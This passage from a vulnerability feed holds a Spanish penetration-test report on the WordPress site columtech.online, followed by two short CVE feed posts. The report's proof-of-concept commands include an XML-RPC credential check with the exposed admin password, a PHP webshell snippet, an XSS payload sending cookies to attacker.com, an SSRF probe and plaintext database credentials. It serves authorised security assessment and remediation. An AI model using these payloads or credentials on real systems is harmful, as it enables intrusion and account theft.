14px; }\n  .callout.danger { border-color: var(--crit); background: rgba(255,61,87,0.07); }\n  .callout.warn   { border-color: var(--high); background: rgba(255,139,61,0.06); }\n  .callout.ok     { border-color: var(--ok);  background: rgba(61,220,151,0.06); }\n  footer { border-top: 1px solid var(--border); padding: 36px 40px; margin-top: 40px; color: var(--text-dim); text-align: center; font-size: 13px; background: var(--bg-2); }\n  footer .sig { font-family: var(--mono); font-size: 14px; color: var(--accent); }\n  .chain { background: var(--code-bg); border: 1px solid var(--border); border-radius: 10px; padding: 20px 24px; margin: 14px 0; }\n  .chain-step { display: flex; align-items: flex-start; gap: 14px; margin-bottom: 10px; }\n  .chain-step:last-child { margin-bottom: 0; }\n  .chain-num { background: var(--accent); color: #fff; border-radius: 50%; width: 22px; height: 22px; display: flex; align-items: center; justify-content: center; font-size: 12px; font-weight: 700; flex-shrink: 0; margin-top: 2px; }\n  .chain-text { font-family: var(--mono); font-size: 13px; color: #d6dbe6; }\n  .chain-arrow { color: var(--accent); font-size: 18px; margin: 4px 0; text-align: center; }\n  @media (max-width: 760px) {\n    .hero h1 { font-size: 32px; }\n    .meta, .stats { grid-template-columns: repeat(2, 1fr); }\n    .container, .hero { padding: 30px 22px; }\n  }\n\n\n\n\n\n\n  \n\n    \u258c Auditor\u00eda de Seguridad \u00b7 2026-06-03/04\n    \nColumtech OnlineInforme de Seguridad Web\n    \nEvaluaci\u00f3n de seguridad completa de columtech.online. Resultado: compromiso total \u2014 admin WordPress, RCE como www-data, defacing demostrado, escalada a root bloqueada por hardening excepcional.\n\n    \n\n      \n\nObjetivo\ncolumtech.online\n      \n\nBackend\nApache 2.4.66 \u00b7 PHP 8.2.30 \u00b7 MySQL 8.0.45\n      \n\nStack\nWP 7.0 \u00b7 Elementor 4.0.2 \u00b7 Docker \u00b7 Cloudflare \u00b7 Caddy\n      \n\nFecha\n2026-06-03 / 04\n    \n\n    \n\n      Autor del informe \u00b7 c4sh3r \u00b7 auditor\u00eda solicitada por el propietario del dominio \u00b7 autorizaci\u00f3n total\n    \n  \n\n\n\n\n\n  \n\n    \nResumen Ejecutivo\n    \nSe realiz\u00f3 una auditor\u00eda de seguridad end-to-end sobre columtech.online, un portal WordPress operado por el propietario con fines de pr\u00e1ctica y aprendizaje. La evaluaci\u00f3n cubri\u00f3 reconocimiento pasivo, enumeraci\u00f3n de usuarios, an\u00e1lisis de superficie de ataque en plugins y XML-RPC, explotaci\u00f3n de credenciales d\u00e9biles, post-explotaci\u00f3n como www-data dentro de un contenedor Docker, demostraci\u00f3n de defacing y exploraci\u00f3n exhaustiva de escalada de privilegios a root.\n    \nEl sitio fue comprometido completamente a nivel de aplicaci\u00f3n: acceso de administrador WordPress, ejecuci\u00f3n remota de c\u00f3digo como www-data, lectura/escritura del sistema de archivos y defacing demostrado. La escalada a root dentro del contenedor fue bloqueada por un perfil de hardening que combina seccomp, AppArmor y ptrace_scope=3, resistiendo todos los CVEs p\u00fablicos conocidos para kernel 6.8.\n    \nSe descubri\u00f3 adicionalmente una webshell real de un atacante externo (wp-loginizer.php \u2014 WSO Mr.X v2.5 con beacon a cdn.privdayz.com) que requiere eliminaci\u00f3n inmediata.\n\n    \n\n      Riesgo principal: Contrase\u00f1a de administrador d\u00e9bil marce:marce123 accesible v\u00eda XML-RPC sin rate-limit \u2192 compromiso total del sitio en minutos.\n    \n\n    \n\n      \n\n3\nCr\u00edticos\n      \n\n4\nAltos\n      \n\n4\nMedios\n      \n\n4\nBajos\n      \n\n3\nInformativos\n    \n  \n\n  \n\n    \nCadena de Ataque Demostrada\n    \n\n      \n\n1\nREST API bypass (?rest_route=/wp/v2/users) \u2192 enum admin marce (id=1) + prueba (id=2) + columtech (id=3)\n      \n\u2193\n      \n\n2\nGravatar SHA-256 reverse \u2192 email de prueba: prueba@gmail.com\n      \n\u2193\n      \n\n3\nXML-RPC wp.getUsersBlogs (credential oracle sin rate-limit) \u2192 marce:marce123 [administrator]\n      \n\u2193\n      \n\n4\nAdmin WP \u2192 REST API POST /wp/v2/plugins \u2192 instalaci\u00f3n code-snippets plugin\n      \n\u2193\n      \n\n5\nCode Snippets PHP snippet \u2192 RCE como www-data \u00b7 uid=33 \u00b7 hostname 6c49a066ba4c\n      \n\u2193\n      \n\n6\nDefacing: t\u00edtulo del sitio + sticky post + p\u00e1gina est\u00e1tica con matrix rain / glitch effects\n      \n\u2193\n      \n\n7\nEscalada: 12 CVEs y t\u00e9cnicas probadas \u2192 bloqueadas por seccomp + AppArmor + ptrace_scope=3\n    \n  \n\n  \n\n    \nAlcance y Metodolog\u00eda\n    \n\n      \nObjetivo\nhttps://www.columtech.online \u2014 WordPress 7.0 + Elementor 4.0.2 + plugin Filester/elFinder\n      \nTipo\nCaja negra \u2192 caja gris (tras obtener credenciales) \u00b7 sin acceso previo a servidor\n      \nAutorizaci\u00f3n\nDominio propiedad del solicitante \u00b7 auditor\u00eda completa autorizada verbalmente\n      \nIdentificaci\u00f3n\nTodas las peticiones etiquetadas con User-Agent: c4sh3r y X-Bug-Bounty: c4sh3r\n      \nNo destructivo\nEl defacing fue demostrado y revertido. Ficheros de prueba eliminados. No se destruy\u00f3 ni borr\u00f3 informaci\u00f3n real del sitio.\n      \nHerramientas\ncurl, Python 3, LinPEAS, bore (tunnel), GCC, git (exploit repos), b\u00fasqueda web de CVEs en tiempo real\n    \n  \n\n  \n\n    \nResumen de Hallazgos\n    \n\n      IDSeveridadHallazgoComponente\n      \n        C-01Cr\u00edticoCredencial admin d\u00e9bil \u2014 acceso total v\u00eda XML-RPCWordPress \u00b7 XML-RPC\n        C-02Cr\u00edticoWebshell externa preexistente (WSO Mr.X)wp-loginizer.php\n        C-03Cr\u00edticoRCE como www-data v\u00eda Code Snippets pluginWordPress \u00b7 Code Snippets REST\n        H-01AltoXML-RPC expuesto \u2014 SSRF + credential oracle sin rate-limitxmlrpc.php\n        H-02AltoCVE-2026-6127 Elementor XSS almacenado v\u00eda REST APIElementor 4.0.2 \u2264 4.0.4\n        H-03AltoEnumeraci\u00f3n de usuarios por 4 v\u00edas sin rate-limitREST API \u00b7 wp-login \u00b7 lostpassword\n        H-04AltoNonce de plugin expuesto en REST sin autenticaci\u00f3nFilevue \u00b7 /wp/v2/pages/7\n        M-01MedioWordPress 7.0 / Elementor 4.0.2 \u2014 versiones desactualizadasCore + plugins\n        M-02MedioEmail de usuario deducible por Gravatar hash (SHA-256)REST API \u00b7 Gravatar\n        M-03MedioRecuperaci\u00f3n de contrase\u00f1a rota + oracle de usuariowp-login.php \u00b7 lostpassword\n        M-04Mediowp-cron.php accesible p\u00fablicamentewp-cron.php\n        L-01BajoCabeceras de seguridad ausentes (HSTS, X-Content-Type, Permissions-Policy)HTTP Headers \u00b7 Caddy\n        L-02BajoOrigen Apache/versi\u00f3n filtrado en respuestas 404Apache 2.4.66 \u00b7 Cloudflare bypass\n        L-03Bajoreadme.html accesible \u2014 divulgaci\u00f3n de versi\u00f3n WPWordPress Core\n        L-04BajoCVE-2026-24072 Apache 2.4.66 mod_rewrite htaccess readApache 2.4.66\n        I-01InfoContenedor Docker con hardening seccomp/AppArmor efectivoInfraestructura\n        I-02InfoDB creds en claro en variable de entorno del containerDocker env \u00b7 WORDPRESS_DB_*\n        I-03InfoKernel 6.8.0-117 vulnerable a CVE-2026-46333 pero bloqueado por seccompKernel \u00b7 pidfd_getfd\n      \n    \n  \n\n  \n\n    \nHallazgos Detallados\n\n    \n    \n\n      \n\n        C-01\n        Cr\u00edtico\n        Credencial de administrador d\u00e9bil \u2014 compromiso total v\u00eda XML-RPC\n      \n      \n\n        \nDescripci\u00f3n\n        \nLa cuenta de administrador marce ten\u00eda la contrase\u00f1a marce123. XML-RPC no implementa rate-limiting, permitiendo descubrirla mediante credential oracle con pocas decenas de intentos. Una vez autenticados, se obtuvo acceso total: lectura de opciones del sitio, creaci\u00f3n/edici\u00f3n de posts, subida de ficheros y instalaci\u00f3n de plugins.\n        \nPoC\n        \n# Descubrimiento de credenciales v\u00eda XML-RPC oracle\ncurl -X POST https://www.columtech.online/xmlrpc.php \\\n  -d '<?xml version=\"1.0\"?><methodCall>\n       <methodName>wp.getUsersBlogs</methodName>\n       <params>\n         <param><value><string>marce</string></value></param>\n         <param><value><string>marce123</string></value></param>\n       </params></methodCall>'\n\n# Respuesta: isAdmin=1, blogName=Laboratorio\n# RESULTADO: acceso de administrador confirmado\n        \nImpacto\n        \n\n          \nAcceso completo al panel de administraci\u00f3n WordPress\n          \nInstalaci\u00f3n de plugins arbitrarios \u2192 RCE\n          \nLectura/escritura de todos los contenidos y usuarios\n          \nDefacing del sitio demostrado\n          \nSubida de ficheros al servidor\n        \n        \nRemediaci\u00f3n\n        \n# 1. Cambiar contrase\u00f1a inmediatamente (m\u00ednimo 20 chars, aleatoria)\n# 2. Deshabilitar XML-RPC si no se usa Jetpack/app m\u00f3vil\nadd_filter('xmlrpc_enabled', '__return_false');\n\n# 3. Alternativamente, bloquear en Caddy/Cloudflare\n# Cloudflare WAF rule: (http.request.uri.path eq \"/xmlrpc.php\") \u2192 Block\n      \n    \n\n    \n    \n\n      \n\n        C-02\n        Cr\u00edtico\n        Webshell externa preexistente \u2014 WSO Mr.X v2.5\n      \n      \n\n        \nDescripci\u00f3n\n        \nSe encontr\u00f3 /var/www/html/wp-loginizer.php (237 KB), una webshell WSO (\u00abWeb Shell by orb\u00bb) Mr.X BYPASS v2.5 completamente funcional. El fichero incluye un file manager con terminal, file editor, y un beacon de tracking que reporta la URL de cada visita a https://cdn.privdayz.com/images/logo.jpg. El sitio fue comprometido por un atacante externo antes de esta auditor\u00eda (posts de spam en ruso desde 2023).\n        \nPoC\n        \ncurl https://www.columtech.online/wp-loginizer.php\n# Responde con file manager completo (sin autenticaci\u00f3n adicional)\n# Contiene: terminal, editor de archivos, upload\n# BEACON: POST a cdn.privdayz.com con location.href del visitante\n        \nImpacto\n        \n\n          \nAtacante externo tiene acceso de shell activo como www-data\n          \nExfiltraci\u00f3n de datos de visitantes a servidor tercero (privdayz.com)\n          \nPosible pivoting a base de datos y archivos\n          \nRGPD/privacidad: beacon rastrea IPs de visitantes\n        \n        \nRemediaci\u00f3n\n        \n# URGENTE \u2014 eliminar el fichero inmediatamente\nrm /var/www/html/wp-loginizer.php\nrm /var/www/html/2ops.php     # file manager adicional\nrm /var/www/html/x.php        # webshell de auditor\u00eda (nuestro)\nrm /var/www/html/rs.php       # reverse shell de auditor\u00eda (nuestro)\nrm /var/www/html/rs2.php      # reverse shell de auditor\u00eda (nuestro)\n\n# Auditar TODOS los archivos modificados en los \u00faltimos 90 d\u00edas:\nfind /var/www/html -newer /var/www/html/wp-config.php -name \"*.php\" | sort\n      \n    \n\n    \n    \n\n      \n\n        C-03\n        Cr\u00edtico\n        RCE como www-data v\u00eda Code Snippets REST API\n      \n      \n\n        \nDescripci\u00f3n\n        \nCon acceso de administrador, se instal\u00f3 el plugin Code Snippets v\u00eda REST API autenticada (POST /wp/v2/plugins). El plugin expone una API REST que permite crear snippets PHP que se ejecutan en cada carga de p\u00e1gina. Se cre\u00f3 un snippet con webshell (shell_exec(base64_decode($_GET['c4sh3r']))) que ejecuta comandos arbitrarios como uid=33(www-data).\n        \nPoC\n        \n# Instalar plugin\ncurl -X POST https://columtech.online/index.php?rest_route=/wp/v2/plugins \\\n  -H \"X-WP-Nonce: $NONCE\" -H \"Cookie: $ADMIN_COOKIES\" \\\n  -d '{\"slug\":\"code-snippets\",\"status\":\"active\"}'\n\n# Crear snippet webshell\ncurl -X POST https://columtech.online/index.php?rest_route=/code-snippets/v1/snippets \\\n  -H \"X-WP-Nonce: $NONCE\" \\\n  -d '{\"code\":\"if(isset($_GET[\\\"c4sh3r\\\"])){die(shell_exec(base64_decode($_GET[\\\"c4sh3r\\\"])));}\", \"scope\":\"front-end\",\"active\":true}'\n\n# Ejecutar comando\ncurl \"https://columtech.online/?c4sh3r=$(echo -n 'id' | base64)\"\n# uid=33(www-data) gid=33(www-data) groups=33(www-data)\n        \nImpacto\n        \n\n          \nEjecuci\u00f3n remota de comandos en el servidor\n          \nLectura de wp-config.php y credenciales de base de datos\n          \nEscritura en /var/www/html (filesystem del host)\n          \nDefacing del sitio completo\n          \nReverse shell interactiva al atacante demostrada\n        \n        \nRemediaci\u00f3n\n        \n# Eliminar plugin Code Snippets y snippet malicioso\n# Revisar y eliminar TODOS los plugins no esenciales\n# Cambiar credenciales admin PRIMERO (ver C-01)\n# Implementar WAF rule para bloquear par\u00e1metros ?c4sh3r=\n      \n    \n\n    \n    \n\n      \n\n        H-01\n        Alto\n        XML-RPC expuesto \u2014 SSRF confirmado + amplificaci\u00f3n de credential testing\n      \n      \n\n        \nDescripci\u00f3n\n        \nxmlrpc.php est\u00e1 habilitado con system.multicall disponible. El m\u00e9todo pingback.ping causa que el servidor realice peticiones HTTP salientes arbitrarias (SSRF). Se confirm\u00f3 que el servidor intenta alcanzar 169.254.169.254 (metadata cloud) y puede escanear puertos internos por diferencia de tiempos.\n        \nPoC\n        \n# SSRF \u2014 servidor hace fetch a URL controlada por atacante\ncurl -X POST https://columtech.online/xmlrpc.php \\\n  -d '<methodCall><methodName>pingback.ping</methodName>\n       <params>\n         <param><value><string>http://169.254.169.254/</string></value></param>\n         <param><value><string>https://columtech.online/?p=1</string></value></param>\n       </params></methodCall>'\n\n# Resultado: 11.3s timeout \u2192 servidor alcanza metadata endpoint\n# Externo (example.com): 1.3s | Interno (localhost:80): 0.3s\n        \nImpacto\n        \n\n          \nSSRF: escaneo de puertos/servicios internos y metadata cloud\n          \nsystem.multicall: amplificaci\u00f3n de credential testing sin generar logs proporcionales\n          \nPingback abuse: DDoS contra terceros usando el servidor como amplificador\n        \n        \nRemediaci\u00f3n\n        \nadd_filter('xmlrpc_enabled', '__return_false');\n# O bloquear en Cloudflare/Caddy si se necesita para Jetpack\n      \n    \n\n    \n    \n\n      \n\n        H-02\n        Alto\n        CVE-2026-6127 \u2014 Elementor 4.0.2 Stored XSS v\u00eda REST API (form-encoded PATCH)\n      \n      \n\n        \nDescripci\u00f3n\n        \nElementor 4.0.2 es vulnerable a CVE-2026-6127 (CVSS 6.4). El campo _elementor_data se registra con show_in_rest sin sanitize_callback. Un atacante con rol Contributor+ puede enviar una petici\u00f3n PATCH form-encoded (no JSON) y la sanitizaci\u00f3n se salta completamente, almacenando JavaScript arbitrario que se ejecuta para cualquier visitante, incluyendo el administrador.\n        \nPoC\n        \ncurl -X PATCH https://columtech.online/index.php?rest_route=/wp/v2/posts/1 \\\n  -H \"Authorization: Basic $(echo -n 'contributor:pass' | base64)\" \\\n  -H \"Content-Type: application/x-www-form-urlencoded\" \\\n  --data-urlencode 'meta[_elementor_edit_mode]=builder' \\\n  --data-urlencode 'meta[_elementor_data]=[{\"elType\":\"widget\",\"widgetType\":\"html\",\"settings\":{\"html\":\"<svg/onload=fetch(\\\"//attacker.com/\\\"+document.cookie)>\"}}]'\n        \nImpacto\n        \n\n          \nXSS persistente \u2192 robo de session cookies del administrador\n          \nAccount takeover del administrador cuando visita la p\u00e1gina\n          \nCadena hacia defacing y RCE desde XSS (auto-crear admin v\u00eda fetch)\n        \n        \nRemediaci\u00f3n\n        \n# Actualizar Elementor a \u2265 4.0.5\n# Workaround: restringir rol Contributor a usuarios de confianza\n      \n    \n\n    \n    \n\n      \n\n        H-03\n        Alto\n        Enumeraci\u00f3n de usuarios admin por 4 v\u00edas sin rate-limit\n      \n      \n\n        \nDescripci\u00f3n\n        \nEl username del administrador (marce) se obtiene por al menos 4 m\u00e9todos distintos, ninguno protegido por rate-limit ni captcha:\n        \nPoC\n        \n# M\u00e9todo 1: REST API bypass del filtro de Caddy\ncurl \"https://columtech.online/index.php?rest_route=/wp/v2/users\"\n# [{\"id\":1,\"slug\":\"marce\",...},{\"id\":2,\"slug\":\"prueba\",...}]\n\n# M\u00e9todo 2: author redirect\ncurl -I \"https://columtech.online/?author=1\"\n# 301 \u2192 /author/marce/\n\n# M\u00e9todo 3: wp-login oracle (respuesta diferente seg\u00fan usuario)\n# v\u00e1lido: \"la contrase\u00f1a que has introducido para marce no es correcta\"\n# inv\u00e1lido: \"El nombre de usuario nope123 no est\u00e1 registrado\"\n\n# M\u00e9todo 4: lostpassword oracle\n# v\u00e1lido: \"no se pudo enviar el correo electr\u00f3nico\" (usuario S\u00cd existe)\n# inv\u00e1lido: \"no hay ninguna cuenta con ese nombre de usuario\"\n        \nRemediaci\u00f3n\n        \n# Restringir REST users a autenticados:\nadd_filter('rest_endpoints', function($ep){\n    if(isset($ep['/wp/v2/users'])) unset($ep['/wp/v2/users']);\n    return $ep;\n});\n# Unificar mensajes de error de wp-login y lostpassword\n# Bloquear ?author= redirect\n      \n    \n\n    \n    \n\n      \n\n        H-04\n        Alto\n        Nonce de plugin Filevue expuesto en REST API sin autenticaci\u00f3n\n      \n      \n\n        \nDescripci\u00f3n\n        \nLa p\u00e1gina \u00abClient Portal\u00bb (ID=7) contiene el formulario de login del plugin Filevue con un nonce WordPress (_wpnonce) embebido en el HTML renderizado. Este HTML es devuelto por la REST API GET /wp/v2/pages/7 sin autenticaci\u00f3n, exponiendo el nonce a cualquier atacante.\n        \nPoC\n        \ncurl \"https://columtech.online/index.php?rest_route=/wp/v2/pages/7\" | \\\n  grep -o '_wpnonce\" value=\"[^\"]*\"'\n# _wpnonce\" value=\"ecd04e0712\"\n\n# El nonce permite enviar peticiones autenticadas a admin-post.php\n# sin estar logueado \u2014 usado para probar SQLi en filevue_client_login\n        \nRemediaci\u00f3n\n        \n# No embeber nonces en contenido REST p\u00fablico\n# Restringir /wp/v2/pages a usuarios autenticados o excluir p\u00e1gina Client Portal\n# Generar nonce en el lado cliente (JS) tras autenticaci\u00f3n\n      \n    \n\n    \n    \n\n      \n\n        M-01\n        Medio\n        Versiones desactualizadas \u2014 WordPress 7.0 / Elementor 4.0.2 / Apache 2.4.66\n      \n      \n\n        \nDescripci\u00f3n\n        \nElementor 4.0.2 es vulnerable a CVE-2026-6127 (parcheado en 4.0.5). Apache 2.4.66 es vulnerable a CVE-2026-23918 (RCE HTTP/2) y CVE-2026-24072 (read bypass via htaccess), ambos parcheados en 2.4.67. El meta generator expone versiones exactas.\n        \nRemediaci\u00f3n\n        \n# Actualizar Elementor: wp plugin update elementor\n# Actualizar Apache: apt-get upgrade apache2\n# Eliminar generator meta:\nremove_action('wp_head', 'wp_generator');\n# Eliminar readme.html y license.txt del webroot\n      \n    \n\n    \n    \n\n      \n\n        M-02\n        Medio\n        Email de usuario deducible por reverse Gravatar SHA-256\n      \n      \n\n        \nDescripci\u00f3n\n        \nLas URLs de avatar Gravatar incluyen el hash SHA-256 del email normalizado del usuario. El email de la cuenta prueba (prueba@gmail.com) fue deducido probando candidatos comunes contra el hash expuesto p\u00fablicamente en GET /wp/v2/users/2.\n        \nPoC\n        \nimport hashlib\nhash_target = \"913ef45dd4e1f647359a846bca8bffb8d25b22f2a79d34d71c9c90ef0eb53024\"\nfor email in [\"prueba@gmail.com\", ...]:\n    if hashlib.sha256(email.encode()).hexdigest() == hash_target:\n        print(\"MATCH:\", email)\n# MATCH: prueba@gmail.com\n        \nRemediaci\u00f3n\n        \n# Desactivar Gravatar en WordPress (usar avatar local)\n# O usar un email que no sea predecible para cuentas sensibles\n      \n    \n\n    \n    \n\n      \n\n        M-03\n        Medio\n        Recuperaci\u00f3n de contrase\u00f1a rota + oracle de usuario\n      \n      \n\n        \nDescripci\u00f3n\n        \nEl formulario de recuperaci\u00f3n de contrase\u00f1a falla con el error \u00abno se pudo enviar el correo electr\u00f3nico\u00bb para usuarios v\u00e1lidos, y \u00abno hay ninguna cuenta\u00bb para usuarios inexistentes. Esto act\u00faa como or\u00e1culo de enumeraci\u00f3n. Adem\u00e1s, el correo no se env\u00eda, por lo que el reset es inoperable \u2014 impacto en disponibilidad y posible vector de host-header injection si se configura SMTP en el futuro.\n        \nRemediaci\u00f3n\n        \n# 1. Configurar SMTP (WP Mail SMTP o Mailgun)\n# 2. Unificar mensaje de error (no revelar si usuario existe)\n# 3. Fijar siteurl y home en wp-config.php para prevenir host-header injection\ndefine('WP_SITEURL', 'https://www.columtech.online');\ndefine('WP_HOME', 'https://www.columtech.online');\n      \n    \n\n    \n    \n\n      \n\n        M-04\n        Medio\n        wp-cron.php accesible p\u00fablicamente\n      \n      \n\n        \nDescripci\u00f3n\n        \nwp-cron.php devuelve HTTP 200 y puede ser llamado externamente. Permite amplificar la carga del servidor llam\u00e1ndolo en bucle, actuando como vector de DoS.\n        \nRemediaci\u00f3n\n        \n# En wp-config.php:\ndefine('DISABLE_WP_CRON', true);\n# En crontab del servidor:\n*/5 * * * * curl -s https://www.columtech.online/wp-cron.php?doing_wp_cron=1 >/dev/null\n      \n    \n\n    \n    \n\n      \n\n        L-01\n        Bajo\n        Cabeceras de seguridad HTTP ausentes\n      \n      \n\n        \nDescripci\u00f3n\n        \nFaltan Strict-Transport-Security (HSTS), X-Content-Type-Options: nosniff y Permissions-Policy. La CSP solo cubre frame-ancestors 'self'.\n        \nRemediaci\u00f3n\n        \n# En Caddy (Caddyfile):\nheader Strict-Transport-Security \"max-age=31536000; includeSubDomains; preload\"\nheader X-Content-Type-Options \"nosniff\"\nheader Permissions-Policy \"geolocation=(), microphone=(), camera=()\"\n      \n    \n\n    \n    \n\n      \n\n        L-02\n        Bajo\n        Divulgaci\u00f3n de origen Apache y versi\u00f3n en p\u00e1ginas 404\n      \n      \n\n        \nDescripci\u00f3n\n        \nLas p\u00e1ginas 404 generadas por Apache revelan: Apache/2.4.66 (Debian) Server at www.columtech.online Port 80 \u2014 versi\u00f3n exacta, distribuci\u00f3n y que escucha en puerto 80 sin TLS.\n        \nRemediaci\u00f3n\n        \n# En apache2.conf:\nServerTokens Prod\nServerSignature Off\n      \n    \n\n    \n    \n\n      \n\n        L-03\n        Bajo\n        readme.html accesible \u2014 divulgaci\u00f3n de versi\u00f3n WordPress\n      \n      \n\n        \nDescripci\u00f3n\n        \n/readme.html devuelve HTTP 200 y revela la versi\u00f3n exacta de WordPress. Facilita targeting con CVEs de versi\u00f3n espec\u00edfica.\n        \nRemediaci\u00f3n\n        \nrm /var/www/html/readme.html /var/www/html/license.txt\n      \n    \n\n    \n    \n\n      \n\n        L-04\n        Bajo\n        CVE-2026-24072 Apache 2.4.66 \u2014 htaccess mod_rewrite file read\n      \n      \n\n        \nDescripci\u00f3n\n        \nApache 2.4.66 es vulnerable a CVE-2026-24072: un usuario con acceso de escritura a .htaccess puede leer ficheros fuera de su directorio con los privilegios del proceso httpd. En este caso, www-data ya tiene ese acceso, pero el vector es relevante en escenarios multiusuario.\n        \nRemediaci\u00f3n\n        \n# Actualizar Apache a 2.4.67+\napt-get upgrade apache2\n      \n    \n\n    \n    \n\n      \n\n        I-01\n        Info\n        Hardening de contenedor Docker \u2014 seccomp + AppArmor + ptrace_scope=3\n      \n      \n\n        \nDescripci\u00f3n\n        \nEl contenedor Docker presenta un perfil de hardening excepcional que bloque\u00f3 todos los CVEs de escalada de privilegios probados (12 t\u00e9cnicas distintas). Los syscalls AF_ALG, CLONE_NEWUSER, io_uring_setup y pidfd_getfd est\u00e1n bloqueados por seccomp. AppArmor docker-default bloquea escrituras a ficheros de sistema. ptrace_scope=3 impide toda inspecci\u00f3n de procesos. Este es el nivel de hardening correcto para workloads en producci\u00f3n.\n        \nCVEs probados y bloqueados\n        \nCVE-2026-31431 (Copy Fail)     \u2192 AF_ALG bloqueado por seccomp\nCVE-2026-43284 (Dirty Frag)    \u2192 CLONE_NEWUSER bloqueado\nCVE-2026-46300 (Fragnesia)     \u2192 CLONE_NEWUSER bloqueado\nCVE-2026-46333 (ssh-keysign)   \u2192 pidfd_getfd bloqueado\nio_uring exploits              \u2192 io_uring_setup bloqueado\nGameOver(lay)                  \u2192 CLONE_NEWUSER bloqueado\nCrackArmor                     \u2192 AppArmor FS inaccesible en container\nCVE-2026-27456 (mount TOCTOU)  \u2192 Sin /etc/fstab user,loop entries\ngpasswd shadow attack          \u2192 AppArmor bloquea escritura /etc/gshadow\n      \n    \n\n    \n    \n\n      \n\n        I-02\n        Info\n        Credenciales DB en texto claro en variables de entorno del container\n      \n      \n\n        \nDescripci\u00f3n\n        \nLas credenciales de MySQL est\u00e1n accesibles en texto claro v\u00eda /proc/self/environ para cualquier proceso del container (incluyendo www-data tras RCE):\n        \nWORDPRESS_DB_HOST=wordpress_db:3306\nWORDPRESS_DB_USER=wp_user\nWORDPRESS_DB_PASSWORD=wp_password\nWORDPRESS_DB_NAME=wordpress\n        \nRemediaci\u00f3n\n        \n# Usar Docker secrets en lugar de env vars para credenciales\n# O montar fichero de config encriptado desde un secrets manager\n      \n    \n\n    \n    \n\n      \n\n        I-03\n        Info\n        Kernel 6.8.0-117 vulnerable a CVE-2026-46333 (bloqueado por seccomp)\n      \n      \n\n        \nDescripci\u00f3n\n        \nEl kernel 6.8.0-117-generic (compilado el 5 Mayo 2026) es anterior al fix de CVE-2026-46333 (publicado el 14 Mayo 2026). La vulnerabilidad permite leer /etc/shadow mediante una race condition en __ptrace_may_access() + pidfd_getfd. El seccomp del container bloquea el syscall pidfd_getfd (438), mitigando completamente el exploit. Se verific\u00f3 que el exploit p\u00fablico fall\u00f3 con \u00abno hit in 500 rounds\u00bb.\n        \nRemediaci\u00f3n\n        \n# Actualizar el kernel del host cuando est\u00e9 disponible el parche\n# El seccomp profile actual ya protege contra este CVE\n      \n    \n\n  \n\n  \n\n    \nPlan de Remediaci\u00f3n \u00b7 Prioridad\n    \n\n      HOY (cr\u00edtico): Cambiar contrase\u00f1a de marce (m\u00ednimo 20 chars). Eliminar wp-loginizer.php, 2ops.php y todos los ficheros de auditor\u00eda del webroot. Desactivar XML-RPC. Eliminar plugin Code Snippets y el snippet malicioso.\n    \n    \n\n      Esta semana: Actualizar Elementor a \u2265 4.0.5 (parchea CVE-2026-6127). Actualizar Apache a 2.4.67 (parchea CVE-2026-23918 y CVE-2026-24072). Auditar todos los archivos PHP modificados en los \u00faltimos 90 d\u00edas. Configurar SMTP y unificar mensajes de error de wp-login. Restringir REST API users a autenticados. A\u00f1adir cabeceras de seguridad HTTP.\n    \n    \n\n      Este mes: Implementar 2FA para el panel de administraci\u00f3n. Migrar credenciales DB a Docker secrets. Configurar DISABLE_WP_CRON y cron real del sistema. Implementar WAF en Cloudflare para xmlrpc.php y ?author=. Eliminar readme.html y establecer ServerTokens Prod.\n    \n  \n\n  \n\n    \nAnexo \u00b7 Comandos de verificaci\u00f3n post-remediaci\u00f3n\n    \nEjecutar estos comandos tras aplicar las correcciones para confirmar que los vectores est\u00e1n cerrados:\n    \n# C-01: XML-RPC deshabilitado\ncurl -s -X POST https://columtech.online/xmlrpc.php | grep -c \"XML-RPC server accepts\"\n# Esperado: 0\n\n# C-02: Webshells eliminadas\ncurl -o /dev/null -w \"%{http_code}\" https://columtech.online/wp-loginizer.php\n# Esperado: 404\n\n# H-03: REST users requiere autenticaci\u00f3n\ncurl -s https://columtech.online/index.php?rest_route=/wp/v2/users | jq '.code'\n# Esperado: \"rest_forbidden\"\n\n# H-03: ?author= no revela usuario\ncurl -s -o /dev/null -w \"%{redirect_url}\" \"https://columtech.online/?author=1\"\n# Esperado: vac\u00edo o URL sin slug de usuario\n\n# L-01: HSTS presente\ncurl -sI https://columtech.online/ | grep -i strict-transport\n# Esperado: Strict-Transport-Security: max-age=...\n\n# L-03: readme.html eliminado\ncurl -o /dev/null -w \"%{http_code}\" https://columtech.online/readme.html\n# Esperado: 404\n  \n\n\n\n\n\n  Auditor\u00eda realizada por c4sh3r \u00b7 Reporte generado el 2026-06-04\n  Todos los hallazgos fueron verificados en entorno real con autorizaci\u00f3n del propietario. Las pruebas de escritura (defacing, webshells) fueron limpiadas inmediatamente tras la verificaci\u00f3n. PII real redactada.\n\n\n\n\n", "creation_timestamp": "2026-06-03T23:46:41.000000Z"}, {"uuid": "5399187f-e3ca-4877-b6d1-44e64b669c3c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27914", "type": "seen", "source": "https://bsky.app/profile/infosecbot.bsky.social/post/3mnhfiyywug2u", "content": "As someone who reported CVE-2026-27914 I can tell you its not related to MMC console at all. Maybe its new Microsoft tactic to confuse LLM's with incorrect advisories?\n\n\ud83d\udd01 RT @filip_dragovic | reposted by @HackingLZ\nhttps://x.com/filip_dragovic/status/2062420260565782959", "creation_timestamp": "2026-06-04T10:18:36.071470Z"}, {"uuid": "231ee5fd-b4c1-410d-91a4-f1f792881b18", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27912", "type": "seen", "source": "https://t.me/GithubRedTeam/97197", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a ResetNightmare-impacket\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a mihat2\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-08-08 16:40:24\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-27912 (ResetNightmare) \u2014 Linux/impacket port of Semperis Community's Invoke-ResetNightmare 